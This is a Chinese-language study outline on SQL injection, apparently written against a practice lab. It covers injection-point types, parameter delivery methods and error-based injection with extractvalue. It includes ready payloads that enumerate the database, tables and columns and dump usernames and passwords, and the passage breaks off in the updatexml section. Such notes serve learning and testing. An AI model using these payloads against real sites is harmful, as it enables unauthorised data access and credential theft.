2.SQL注入

网页连接有类似结构：http://xxx.com/users.php?id=1、由于id类型为数字，所以没有闭合符、网页连接有类似结构：http://xxx.com/users.php?name=admin由于id类型为字符，所以闭合符'--+

SQL注入

• SQL注入之数据类型
  • 数字型注入点
    • 网页连接有类似结构：http://xxx.com/users.php?id=1
    • 由于id类型为数字，所以没有闭合符
  • 字符型注入点
    • 网页连接有类似结构：http://xxx.com/users.php?name=admin
    • 由于id类型为字符，所以闭合符'--+
  • 搜索型注入点
    • 这类注入主要是指在进行数据搜索时没有过滤搜索参数一般连接地址中有“keyword=关键字”
  • xx型注入点
    • 本质(xx') or 1=1 #)
    • 常见的闭合符号：' " % ) } 等等
  • 注释符号有：--+或#
• SQL注入之数据提交方式
  • GET注入
    • 主要通过URL传输数据到后台
    • $_GET['$id']
  • POST注入
    • 提交方式主要适用于表单的提交，用于登录框注入
    • $_POST['$id']
  • REQUEST注入
    • 脚本的全部作用域中都可以用
  • COOKIE注入
  • SERVER注入
    • 包含头部信息、路径、脚本位置等
  • HTTP头注入
    • 通用头
    • 请求头
    • 响应头
    • 实体头
• SQL注入之查询方式
  • select查询数据
    • select * from user where id=$id
  • delete删除数据
    • delete from user where id=$id
  • insert插入数据
    • insert into user (id,name,pass) values(1,'zhangsan','1234')
  • update更新数据
    • update user set pwd='p' where id=1
• 基于报错的SQL盲注-报错回显（强制性报错）
  • extractvalue(第一个参数,第二个参数)
    • 第一个参数：为XML文档对象名称
    • 第二个参数：为第一个参数为错时，就执行第二个参数
    • 查看回显信息
      • czh' order by 3 %23 %23：等价于#
        • 说明有二列字段
    • 查看版本信息
      • czh' union select 1,extractvalue(1,concat(0x7e,(select version()),0x7e))%23 extractvalue(XML名称,错误回显) concat()：字符拼接 0x7e：等价于~
    • 查看当前数据库
      • czh' union select 1,extractvalue(1,concat(0x7e,(select database()),0x7e))%23
    • 查看当前数据库的表
      • czh' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1 ),0x7e ))%23 limit 0,1：第一个索引下，取1个字符
    • 查看当前数据库的字段
      • czh′ union select 1,extractvalue(1,concat(0x7e,( select group_concat(column_name) from information_schema.columns where table_schema=′security′ and table_name=′users′),0x7e))%23
    • 信息总结
      • 当前的库：security 表有：emails、referers、uagents、users 字段：id、username、password
    • 查看用户名和密码
      • czh' union select 1,extractvalue(1,concat(0x7e,( select group_concat(username,0x3a,password) from users))) #
    • 注意用：报错回显的字符最多是32个字符
  • updatexml(第一个参数,第二个参数,第三个参数)
    • 第一个参数：为XML文档对象名称
    • 第二个参数：当第一个参数为错时，就执行第二个参数
    • 第三个参数：替换查找到的符合条件为数据
    • 用or